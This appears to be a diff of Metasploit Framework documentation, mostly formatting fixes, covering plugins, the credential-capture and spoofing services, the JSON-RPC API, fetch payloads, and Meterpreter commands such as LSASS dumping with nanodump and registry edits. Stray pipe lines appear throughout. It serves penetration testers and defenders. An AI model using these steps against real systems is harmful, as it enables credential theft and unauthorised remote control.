msf6 > load plugin_name
|
||||
```
|
||||
|
||||
Plugins can be automatically loaded and configured on msfconsole's start up by configuring a custom `~/.msf4/msfconsole.rc` file:
|
||||
|
||||
```
|
||||
load plugin_name
|
||||
plugin_name_command --option
|
||||
```
|
||||
|
||||
## Available Plugins
|
||||
|
||||
The current available plugins for Metasploit can be found by running the `load -l` command, or viewing Metasploit's [plugins](https://github.com/rapid7/metasploit-framework/tree/master/plugins) directory:
|
||||
|
||||
| name | Description |
|
||||
|------------------|-----------------------------------------------------------------------------------------------------|
|
||||
| aggregator | Interacts with the external Session Aggregator |
|
||||
| alias | Adds the ability to alias console commands |
|
||||
| auto_add_route | Adds routes for any new subnets whenever a session opens |
|
||||
| beholder | Capture screenshots, webcam pictures, and keystrokes from active sessions |
|
||||
| besecure | Integrates with the beSECURE - open source vulnerability management |
|
||||
| capture | Start all credential capture and spoofing services |
|
||||
| db_credcollect | Automatically grab hashes and tokens from Meterpreter session events and store them in the database |
|
||||
| db_tracker | Monitors socket calls and updates the database backend |
|
||||
| event_tester | Internal test tool used to verify the internal framework event subscriber logic works |
|
||||
| ffautoregen | This plugin reloads and re-executes a file-format exploit module once it has changed |
|
||||
| ips_filter | Scans all outgoing data to see if it matches a known IPS signature |
|
||||
| lab | Adds the ability to manage VMs |
|
||||
| libnotify | Send desktop notification with libnotify on sessions and db events |
|
||||
| msfd | Provides a console interface to users over a listening TCP port |
|
||||
| msgrpc | Provides a MessagePack interface over HTTP |
|
||||
| nessus | Nessus Bridge for Metasploit |
|
||||
| nexpose | Integrates with the Rapid7 Nexpose vulnerability management product |
|
||||
| openvas | Integrates with the OpenVAS - open source vulnerability management |
|
||||
| pcap_log | Logs all socket operations to pcaps (in /tmp by default) |
|
||||
| request | Make requests from within Metasploit using various protocols. |
|
||||
| rssfeed | Create an RSS feed of events |
|
||||
| sample | Demonstrates using framework plugins |
|
||||
| session_notifier | This plugin notifies you of a new session via SMS |
|
||||
| session_tagger | Automatically interacts with new sessions to create a new remote TaggedByUser file |
|
||||
| socket_logger | Log socket operations to a directory as individual files |
|
||||
| sounds | Automatically plays a sound when various framework events occur |
|
||||
| sqlmap | sqlmap plugin for Metasploit |
|
||||
| thread | Internal test tool for testing thread usage in Metasploit |
|
||||
| token_adduser | Attempt to add an account using all connected Meterpreter session tokens |
|
||||
| token_hunter | Search all active Meterpreter sessions for specific tokens |
|
||||
| wiki | Outputs stored database values from the current workspace into DokuWiki or MediaWiki format |
|
||||
| wmap | Web assessment plugin |
|
||||
|
||||
## Examples
|
||||
|
||||
### Alias Plugin
|
||||
|
||||
The Alias plugin adds the ability to alias console commands:
|
||||
|
||||
```msf
|
||||
msf6 > load alias
|
||||
[*] Successfully loaded plugin: alias
|
||||
msf6 > alias -h
|
||||
Usage: alias [options] [name [value]]
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-c Clear an alias (* to clear all).
|
||||
-f Force an alias assignment.
|
||||
-h Help banner.
|
||||
```
|
||||
|
||||
Register an alias such as `proxy_enable`:
|
||||
|
||||
```msf
|
||||
msf6 > alias proxy_enable "set Proxies http:localhost:8079"
|
||||
```
|
||||
|
||||
Now when running the aliased `proxy_enable` command, the proxy datastore value will be set for the current module:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/http/title) > proxy_enable
|
||||
Proxies => http:localhost:8079
|
||||
```
|
||||
|
||||
Viewing registered aliases:
|
||||
|
||||
```msf
|
||||
msf6 > alias
|
||||
|
||||
Current Aliases
|
||||
===============
|
||||
|
||||
Alias Name Alias Value
|
||||
---------- -----------
|
||||
alias proxy_enable set Proxies http:localhost:8079
|
||||
|
||||
```
|
||||
|
||||
To automatically load and configure the alias plugin on startup of Metasploit, create a custom `~/.msf4/msfconsole.rc` file:
|
||||
|
||||
```
|
||||
load alias
|
||||
alias proxy_enable "set Proxies http:localhost:8079"
|
||||
alias proxy_disable "unset Proxies"
|
||||
alias routes "route print"
|
||||
```
|
||||
|
||||
### Capture Plugin
|
||||
|
||||
Capturing credentials is a critical and early phase in the playbook of many offensive security testers. Metasploit has
|
||||
facilitated this for years with protocol-specific modules all under the `modules/auxiliary/server/capture` directory. Users can start and configure
|
||||
each of these modules individually, but now the capture plugin can streamline the process. The capture plugin can easily start 13
|
||||
different services (17 including SSL enabled versions) on the same listening IP address including remote interfaces via Meterpreter.
|
||||
A configuration file can be used to select individual services to start and once finished, all services can easily be stopped
|
||||
using a single command.
|
||||
|
||||
To use the plugin, it must first be loaded. That will provide the `captureg` command (for Capture-Global) which then offers start
|
||||
and stop subcommands. In the following example, the plugin is loaded, and then all default services are started on the 192.168.159.128 interface.
|
||||
|
||||
```msf
|
||||
msf6 > load capture
|
||||
[*] Successfully loaded plugin: Credential Capture
|
||||
msf6 > captureg start --ip 192.168.159.128
|
||||
Logging results to /home/smcintyre/.msf4/logs/captures/capture_local_20220325104416_589275.txt
|
||||
Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_20220325104416_612808
|
||||
[+] Authentication Capture: DRDA (DB2, Informix, Derby) started
|
||||
[+] Authentication Capture: FTP started
|
||||
[+] HTTP Client MS Credential Catcher started
|
||||
[+] HTTP Client MS Credential Catcher started
|
||||
[+] Authentication Capture: IMAP started
|
||||
[+] Authentication Capture: MSSQL started
|
||||
[+] Authentication Capture: MySQL started
|
||||
[+] Authentication Capture: POP3 started
|
||||
[+] Authentication Capture: PostgreSQL started
|
||||
[+] Printjob Capture Service started
|
||||
[+] Authentication Capture: SIP started
|
||||
[+] Authentication Capture: SMB started
|
||||
[+] Authentication Capture: SMTP started
|
||||
[+] Authentication Capture: Telnet started
|
||||
[+] Authentication Capture: VNC started
|
||||
[+] Authentication Capture: FTP started
|
||||
[+] Authentication Capture: IMAP started
|
||||
[+] Authentication Capture: POP3 started
|
||||
[+] Authentication Capture: SMTP started
|
||||
[+] NetBIOS Name Service Spoofer started
|
||||
[+] LLMNR Spoofer started
|
||||
[+] mDNS Spoofer started
|
||||
[+] Started capture jobs
|
||||
msf6 >
|
||||
```
|
||||
|
||||
This content was originally posted on the [Rapid7 Blog](https://www.rapid7.com/blog/post/2022/03/25/metasploit-weekly-wrap-up-154/).
|
||||
+2
-2
@@ -49,7 +49,7 @@ Here's the most basic example of an auxiliary module. We'll explain a bit more a
|
||||
|
||||
```ruby
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
@@ -86,7 +86,7 @@ Because the ```Msf::Auxiliary::Scanner``` mixin is so popular, we figured you wa
|
||||
|
||||
```ruby
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
@@ -38,7 +38,7 @@ For debugging purposes, it's always better to turn on the highest level of loggi
|
||||
|
||||
There are mainly five logging methods you will most likely be using a lot, and they all have the exact same arguments. Let's use one of the logging methods to explain what these arguments are about:
|
||||
|
||||
```
|
||||
```ruby
|
||||
def elog(msg, src = 'core', level = 0, from = caller)
|
||||
```
|
||||
|
||||
|
||||
@@ -50,7 +50,7 @@ And then you are ready to go.
|
||||
|
||||
The first thing you do with ObfuscateJS is you need to initialize it with the JavaScript you want to obfuscate, so in this case, begin like the following:
|
||||
|
||||
```
|
||||
```ruby
|
||||
js = %Q|
|
||||
var arrr = new Array();
|
||||
arrr[0] = windows.document.createElement("img");
|
||||
@@ -82,7 +82,7 @@ So if I want to obfuscate the variable ```arrr```, and I want to obfuscate the s
|
||||
|
||||
In some cases, you might actually want to know the obfuscated version of a symbol name. One scenario is calling a JavaScript function from an element's event handler, such as this:
|
||||
|
||||
```
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
@@ -150,7 +150,7 @@ This time we'll do a "hello world" example:
|
||||
|
||||
And here's the output:
|
||||
|
||||
```
|
||||
```javascript
|
||||
window[(function () { var _d="t",y="ler",N="a"; return N+y+_d })()]((function () { var f='d!',B='orl',Q2='h',m='ello, w'; return Q2+m+B+f })());
|
||||
```
|
||||
|
||||
|
||||
@@ -89,7 +89,7 @@ First ensure you are running the Metasploit database, and are running the JSON s
|
||||
|
||||
Request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Content-Type: application/json' \
|
||||
@@ -118,7 +118,7 @@ Response:
|
||||
|
||||
Request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Content-Type: application/json' \
|
||||
@@ -155,7 +155,7 @@ Response:
|
||||
|
||||
Request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'content-type: application/json' \
|
||||
@@ -185,7 +185,7 @@ Response:
|
||||
Metasploit modules support running `check` methods which can be used to identify the success of an exploit module, or to run an
|
||||
auxiliary module against a target. For instance, with an Auxiliary module check request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Content-Type: application/json' \
|
||||
@@ -205,7 +205,7 @@ curl --request POST \
|
||||
|
||||
Or an Exploit module check request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'content-type: application/json' \
|
||||
@@ -240,7 +240,7 @@ The response will contain an identifier which can be used to query for updates:
|
||||
|
||||
Request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Content-Type: application/json' \
|
||||
@@ -288,7 +288,7 @@ It is possible to poll for module results using the id returned when running a m
|
||||
|
||||
Request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Content-Type: application/json' \
|
||||
@@ -353,7 +353,7 @@ but the memory is limited to 35mb as the memory datastore used is implemented by
|
||||
|
||||
Request:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Content-Type: application/json' \
|
||||
@@ -445,7 +445,7 @@ curl --request POST \
|
||||
|
||||
Run the analyze command:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Authorization: Bearer ' \
|
||||
@@ -491,7 +491,7 @@ Response:
|
||||
|
||||
When analyzing a host, it is also possible to specify payload requirements for additional granularity:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl --request POST \
|
||||
--url http://localhost:8081/api/v1/json-rpc \
|
||||
--header 'Authorization: Bearer ' \
|
||||
|
||||
@@ -128,7 +128,7 @@ The best way to let the user decide what kind of payload to use is by defining s
|
||||
|
||||
Here is an example targets section from a command injection module:
|
||||
|
||||
```
|
||||
```ruby
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
|
||||
@@ -182,7 +182,7 @@ payloads. All I did was give an array value for the `Platform` value and change
|
||||
|
||||
For the `execute_command` method, nothing changes:
|
||||
|
||||
``` ruby
|
||||
```ruby
|
||||
def execute_command(cmd, _opts = {})
|
||||
populate_values if @sid.nil? || @token.nil?
|
||||
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
|
||||
@@ -206,7 +206,7 @@ end
|
||||
The only change in the exploit method is the use of the more generic `Type` value in the case statement. Nothing else
|
||||
needs to change.
|
||||
|
||||
``` ruby
|
||||
```ruby
|
||||
def exploit
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
case target['Type']
|
||||
@@ -221,7 +221,7 @@ needs to change.
|
||||
If you have an exploit that already supports Unix Command payloads and you'd like it to support Linux Command payloads
|
||||
like Fetch Payloads, you can simply add the `linux` value to the platform array:
|
||||
|
||||
``` ruby
|
||||
```ruby
|
||||
'Nix Command',
|
||||
{
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
@@ -330,4 +330,4 @@ present on a system, so the command will be `tnftp` rather than `ftp`.
|
||||
|
||||
#### WGET
|
||||
WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options.
|
||||
It is ubiquitous on Linux hosts and very standard, making it an excellent choice.
|
||||
It is ubiquitous on Linux hosts and very standard, making it an excellent choice.
|
||||
|
||||
@@ -74,7 +74,7 @@ To get things started, you can always use the following template to start develo
|
||||
|
||||
```ruby
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
+1
-1
@@ -8,7 +8,7 @@ Here is how you can set it up:
|
||||
|
||||
```ruby
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
@@ -54,16 +54,16 @@ In addition, we're going to add a magical line to the config file that will let
|
||||
|
||||
So, open up `metasploit-framework/.git/config` with your favorite editor, add an upstream remote, and add the pull request refs for both your and Rapid7's forks. In the end, you should have a section that started off like this:
|
||||
|
||||
````config
|
||||
```config
|
||||
[remote "upstream"]
|
||||
fetch = +refs/heads/*:refs/remotes/upstream/*
|
||||
fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
|
||||
url = https://github.com/rapid7/metasploit-framework
|
||||
````
|
||||
```
|
||||
|
||||
And now it looks like this:
|
||||
|
||||
````config
|
||||
```config
|
||||
[remote "upstream"]
|
||||
fetch = +refs/heads/*:refs/remotes/upstream/*
|
||||
fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
|
||||
@@ -72,13 +72,13 @@ And now it looks like this:
|
||||
fetch = +refs/heads/*:refs/remotes/origin/*
|
||||
fetch = +refs/pull/*/head:refs/remotes/origin/pr/*
|
||||
url = https://github.com/YOURNAME/metasploit-framework
|
||||
````
|
||||
```
|
||||
|
||||
Some people like to copy these over into remotes named "rapid7" and "yourusername" just so they don't have to remember about "origin" and "upstream," but for this doc, we'll just assume you have "origin" and "upstream" defined like this.
|
||||
|
||||
Now, you can git fetch the remote PRs. This will take a little bit, since we have a couple dozen MBs of pull request data. Storage is cheap, though, right?
|
||||
|
||||
````
|
||||
```
|
||||
$ git fetch --all
|
||||
Fetching todb-r7
|
||||
remote: Counting objects: 13, done.
|
||||
@@ -97,7 +97,7 @@ From https://github.com/rapid7/metasploit-framework
|
||||
[... bunches of tags and PRs ...]
|
||||
* [new ref] refs/pull/1701/head -> upstream/pr/1701
|
||||
* [new ref] refs/pull/1702/head -> upstream/pr/1702
|
||||
````
|
||||
```
|
||||
|
||||
You can `git fetch` a remote any time, and you'll get access to the latest changes to all branches and pull requests.
|
||||
|
||||
@@ -105,7 +105,7 @@ You can `git fetch` a remote any time, and you'll get access to the latest chang
|
||||
|
||||
A manageable strategy for dealing with outstanding PRs is to start pre-merge testing on the pull request in isolation. For example, to work on PR #1217, we would:
|
||||
|
||||
````
|
||||
```
|
||||
$ git checkout upstream/pr/1217
|
||||
Note: checking out 'upstream/pr/1217'.
|
||||
|
||||
@@ -124,7 +124,7 @@ HEAD is now at 9e499e5... Make BindTCP test more robust
|
||||
|
||||
```
|
||||
$ git checkout -b landing-1217
|
||||
````
|
||||
```
|
||||
|
||||
Now, we're on a local branch identical to the original pull request, and can move on from there. We can make our changes, isolated from master, and then either send them back to the contributor (this requires looking up the original contributor's GitHub username and branch name on GitHub), or if there aren't any changes or the changes are trivial, we can land them (if you have committer rights to Rapid7's repo, this is where you land them to the upstream repo).
|
||||
|
||||
@@ -173,7 +173,7 @@ You need to add their fork once as a remote: `git remote add OTHER_USER git://gi
|
||||
|
||||
# Making changes
|
||||
|
||||
````
|
||||
```
|
||||
$ gvim .gitignore
|
||||
[... make some changes and some commits ...]
|
||||
(landing-1217) todb@mazikeen:~/git/rapid7/metasploit-framework
|
||||
@@ -184,19 +184,19 @@ $ git push origin pr1271-fix-gitignore-conflict
|
||||
(pr1217-fix-gitignore-conflict) todb@mazikeen:~/git/rapid7/metasploit-framework
|
||||
$ git pr-url schierlm javapayload-maven
|
||||
Created new window in existing browser session.
|
||||
````
|
||||
```
|
||||
|
||||
This sequence does a few things after editing `.gitconfig`. It creates another copy of landing-1217 (which is itself a copy of upstream/pr/1217)). Next, I push those changes to my branch (todb-r7, aka "origin"). Finally, I have a mighty [.gitconfig alias here](https://gist.github.com/todb-r7/5438391) to open a browser window to send a pull request to the original contributor's branch (you will want to edit yours to reflect your real GitHub username, of course).
|
||||
|
||||
````
|
||||
```ini
|
||||
pr-url = !"echo https://github.com/YOURNAME/metasploit-framework/pull/new/HISNAME:HISBRANCH...YOURBRANCH"
|
||||
````
|
||||
```
|
||||
|
||||
Filling in the blanks (provided by the original PR's information from GitHub) gets me:
|
||||
|
||||
````
|
||||
```
|
||||
https://github.com/todb-r7/metasploit-framework/pull/new/schierlm:javapayload-maven...pr1217-fix-gitignore-conflict
|
||||
````
|
||||
```
|
||||
|
||||
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once [@schierlm](https://github.com/schierlm) landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
|
||||
|
||||
@@ -208,7 +208,7 @@ Note the important bit here: **you do not need commit rights to Rapid7 to branch
|
||||
|
||||
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else ([@jlee-r7](https://github.com/jlee-r7)) was able to to do something like this:
|
||||
|
||||
````
|
||||
```
|
||||
$ git fetch upstream
|
||||
remote: Counting objects: 12, done.
|
||||
remote: Compressing objects: 100% (2/2), done.
|
||||
@@ -216,31 +216,31 @@ remote: Total 7 (delta 5), reused 7 (delta 5)
|
||||
Unpacking objects: 100% (7/7), done.
|
||||
From https://github.com/rapid7/metasploit-framework
|
||||
9e499e5..263e967 refs/pull/1651/head -> upstream/pr/1651
|
||||
````
|
||||
```
|
||||
|
||||
This all looked good, so he could land this to Rapid7's repo with:
|
||||
|
||||
````
|
||||
``
|
||||
$ git checkout -b upstream-master --track upstream/master
|
||||
$ git merge -S --no-ff --edit landing-1217
|
||||
$ git push upstream upstream-master:master
|
||||
````
|
||||
``
|
||||
|
||||
Or, if he already have upstream-master checked out:
|
||||
|
||||
````
|
||||
```
|
||||
$ git checkout upstream-master
|
||||
$ git rebase upstream/master
|
||||
$ git merge -S --no-ff --edit landing-1217
|
||||
$ git push upstream upstream-master:master
|
||||
````
|
||||
```
|
||||
|
||||
The `--edit` is optional if we have our editor configured correctly in `$HOME/.gitconfig`. The point here is that we *always* want a merge commit, and we *never* want to use the (often useless) default merge commit message. For #1217, this was changed to:
|
||||
|
||||
````commit
|
||||
```
|
||||
Land #1217, java payload build system refactor
|
||||
|
||||
````
|
||||
```
|
||||
|
||||
Note that you should rebase *before* landing -- otherwise, your merge commit will be lost in the rebase.
|
||||
|
||||
@@ -248,7 +248,7 @@ Finally, the -S indicates we are going to sign the merge, using our GPG key. Thi
|
||||
|
||||
To set yourself up for signing, your .gitconfig (or metasploit-framework/git/.config) file should have these entries:
|
||||
|
||||
````
|
||||
```ini
|
||||
[user]
|
||||
name = Your Name
|
||||
email = your@email.xxx
|
||||
@@ -256,7 +256,7 @@ signingkey = DEADBEEF # Must match exactly with your key for "Your Name <your@em
|
||||
[alias]
|
||||
c = commit -S --edit
|
||||
m = merge -S --no-ff --edit
|
||||
````
|
||||
```
|
||||
|
||||
People with commit rights to rapid7/metasploit-framework will have their [[keys listed here|./Committer-Keys.md]].
|
||||
|
||||
@@ -271,10 +271,6 @@ Release note examples:
|
||||
|
||||
The [rn-no-release-notes](https://github.com/rapid7/metasploit-framework/issues?utf8=%E2%9C%93&q=label%3Arn-no-release-notes+) label must be added if there are no release notes for the merged pull request.
|
||||
|
||||
# Cross-linking PRs, Bugs, and Commits
|
||||
|
||||
TODO: Update in this new post-Redmine, GitHub issues world
|
||||
|
||||
# Merge conflicts
|
||||
|
||||
The nice thing about this strategy is that you can test for merge conflicts straight away. You'd use a sequence like:
|
||||
|
||||
@@ -33,8 +33,6 @@ The `bofloader` extension provides exactly one command, through which all of the
|
||||
|
||||
`execute_bof </path/to/bof_file> [Options] -- [BOF Arguments]`
|
||||
|
||||
|
||||
|
||||
* `-c` / `--compile` -- Compile the input file (requires mingw).
|
||||
* `-e` / `--entry` -- The entry point (default: `go`).
|
||||
* `-f` / `--format-string` -- Argument format-string. See details below.
|
||||
@@ -79,7 +77,7 @@ argument format string.
|
||||
# Usage Examples
|
||||
Executing [dir][4], passing the path argument and number of sub-directories to list.
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > execute_bof CS-Situational-Awareness-BOF/SA/dir/dir.x64.o --format-string Zs C:\\ 0
|
||||
Contents of C:\*:
|
||||
08/05/2022 15:17 <dir> $Recycle.Bin
|
||||
@@ -103,7 +101,7 @@ meterpreter >
|
||||
Executing [nanodump][5]. First the PID of LSASS is found, then the argument string is constructed. The output must be
|
||||
written to disk. Once completed, the dump file can be downloaded from the remote host.
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > ps lsass
|
||||
Filtering on 'lsass'
|
||||
|
||||
|
||||
@@ -32,7 +32,7 @@ Each value also has an associated type, for example:
|
||||
|
||||
All of these examples assume you are in a Meterpreter session. To see the latest help information run `help reg`:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > help reg
|
||||
Usage: reg [command] [options]
|
||||
Interact with the target machine's registry.
|
||||
@@ -44,7 +44,7 @@ Interact with the target machine's registry.
|
||||
|
||||
Registry keys must be escaped correctly. Window's registry keys are escaped with backslashes. In msfconsole backslashes and spaces have a special meaning - which means you will need to escape these characters for your key to work as expected.
|
||||
|
||||
```
|
||||
```msf
|
||||
# Valid: Using single quotes around the registry key
|
||||
meterpreter > reg enumkey -k 'HKCU\Keyboard Layout'
|
||||
|
||||
@@ -75,7 +75,7 @@ Active sessions
|
||||
|
||||
For example - when interacting with a x86 session there are 12 keys listed:
|
||||
|
||||
```
|
||||
```msf
|
||||
# x86 Session
|
||||
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows'
|
||||
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
@@ -86,7 +86,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
|
||||
Versus a x64 session which shows 23 keys:
|
||||
|
||||
```
|
||||
```msf
|
||||
# x64 Session
|
||||
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows'
|
||||
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
@@ -98,7 +98,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
|
||||
If this is problematic either [[upgrade your session to Meterpreter|./Metasploit-Guide-Upgrading-Shells-to-Meterpreter.md]], or specify the `-w` flag which will impact the result of queries:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows' -w 32
|
||||
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
|
||||
@@ -106,7 +106,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
# ... omitted for clarity ...
|
||||
```
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows' -w 64
|
||||
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
|
||||
@@ -119,7 +119,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
|
||||
Enumerate a root key:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg enumkey -k HKLM
|
||||
Enumerating: HKLM
|
||||
|
||||
@@ -135,7 +135,7 @@ Enumerating: HKLM
|
||||
|
||||
Enumerate a subkey:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
|
||||
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
|
||||
|
||||
@@ -149,7 +149,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
|
||||
|
||||
Display the registry value and type information:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg queryval -k 'HKLM\Software\Microsoft\Windows NT\CurrentVersion' -v ProductName
|
||||
Key: HKLM\Software\Microsoft\Windows NT\CurrentVersion
|
||||
Name: ProductName
|
||||
@@ -159,7 +159,7 @@ Data: Windows 10 Enterprise
|
||||
|
||||
Values that are of type `REG_SZ_EXPAND` such as ` %SystemRoot%\system32\drivers\GM.DLS` will not automatically be expanded:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg queryval -k 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectMusic' -v 'GMFilePath'
|
||||
Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectMusic
|
||||
Name: GMFilePath
|
||||
@@ -169,7 +169,7 @@ Data: C:\Windows\system32\drivers\GM.DLS
|
||||
|
||||
Values that are of type `REG_MULTI_SZ` will be separated by `\0`:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg queryval -k 'HKLM\Software\example' -v 'example multi value with spaces'
|
||||
Key: HKLM\Software\example
|
||||
Name: example multi value with spaces
|
||||
@@ -179,7 +179,7 @@ Data: line1\0line2\0line3
|
||||
|
||||
### Creating a key
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg createkey -k 'HKLM\software\example'
|
||||
Successfully created key: HKLM\software\example
|
||||
```
|
||||
@@ -188,42 +188,42 @@ Successfully created key: HKLM\software\example
|
||||
|
||||
Setting a `REG_DWORD` - use a decimal value:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg setval -k 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system' -v LocalAccountTokenFilterPolicy -t REG_DWORD -d 1
|
||||
Successfully set LocalAccountTokenFilterPolicy of REG_DWORD.
|
||||
```
|
||||
|
||||
Setting a `REG_QWORD` - use a decimal value:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_DWORD -v qword_example -d 12345678
|
||||
Successfully set example multi value with spaces of REG_MULTI_SZ.
|
||||
```
|
||||
|
||||
Setting `REG_MULTI_SZ` - i.e. an array of strings:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_MULTI_SZ -v 'example multi value with spaces' -d 'line1\0line2\0line3'
|
||||
Successfully set example multi value with spaces of REG_MULTI_SZ.
|
||||
```
|
||||
|
||||
Setting `REG_BINARY` - use lowercase hexadecimal input without the preceding `0x`:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_BINARY -v binary_example -d deadbeef
|
||||
Successfully set binary_example of REG_BINARY.
|
||||
```
|
||||
|
||||
### Deleting a key
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg deletekey -k 'HKLM\software\example'
|
||||
Successfully deleted key: HKLM\software\example
|
||||
```
|
||||
|
||||
### Deleting a value
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg deleteval -k 'HKLM\software\example' -v 'example multi value with spaces'
|
||||
Successfully deleted example multi value with spaces.
|
||||
```
|
||||
|
||||
@@ -16,7 +16,7 @@ During this dormant period, no socket is active, no requests are made, and no re
|
||||
|
||||
The interface to the sleep command looks like this:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > sleep
|
||||
Usage: sleep <time>
|
||||
|
||||
@@ -31,7 +31,7 @@ As shown, `sleep` expects to be given a single postive integer value that repres
|
||||
|
||||
The following shows a sample run where Meterpreter is put to sleep for 20 seconds, after which the session reconnects while the handler is still in background:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > sleep 20
|
||||
[*] Telling the target instance to sleep for 20 seconds ...
|
||||
[+] Target instance has gone to sleep, terminating current session.
|
||||
|
||||
@@ -57,7 +57,7 @@ The data or time cost of uploading `metsrv`, `stdapi` and `priv` for every singl
|
||||
|
||||
It's hard to believe it possible, but in this case the following image could be considered a nightmare.
|
||||
|
||||
```
|
||||
```msf
|
||||
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
|
||||
[*] Meterpreter session 4684 opened ....
|
||||
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
|
||||
@@ -150,4 +150,4 @@ Congratulations, you're dancing with stageless Meterpreter!
|
||||
|
||||
At this point, all of the pre-loaded extensions have been loaded into Meterpreter and are available for use. However, Metasploit is yet to know about them. To initiate client-site wiring of any of the pre-loaded extensions, the user can just type `use <extension>` just like they used to. Metasploit will check to see if the extension already exists in the target instance, and if it does, it will skip the extension upload and just wire-up the functions on the client side. If the extension is missing, then it will upload it and wire-up the functions on the fly just like it always has done.
|
||||
|
||||
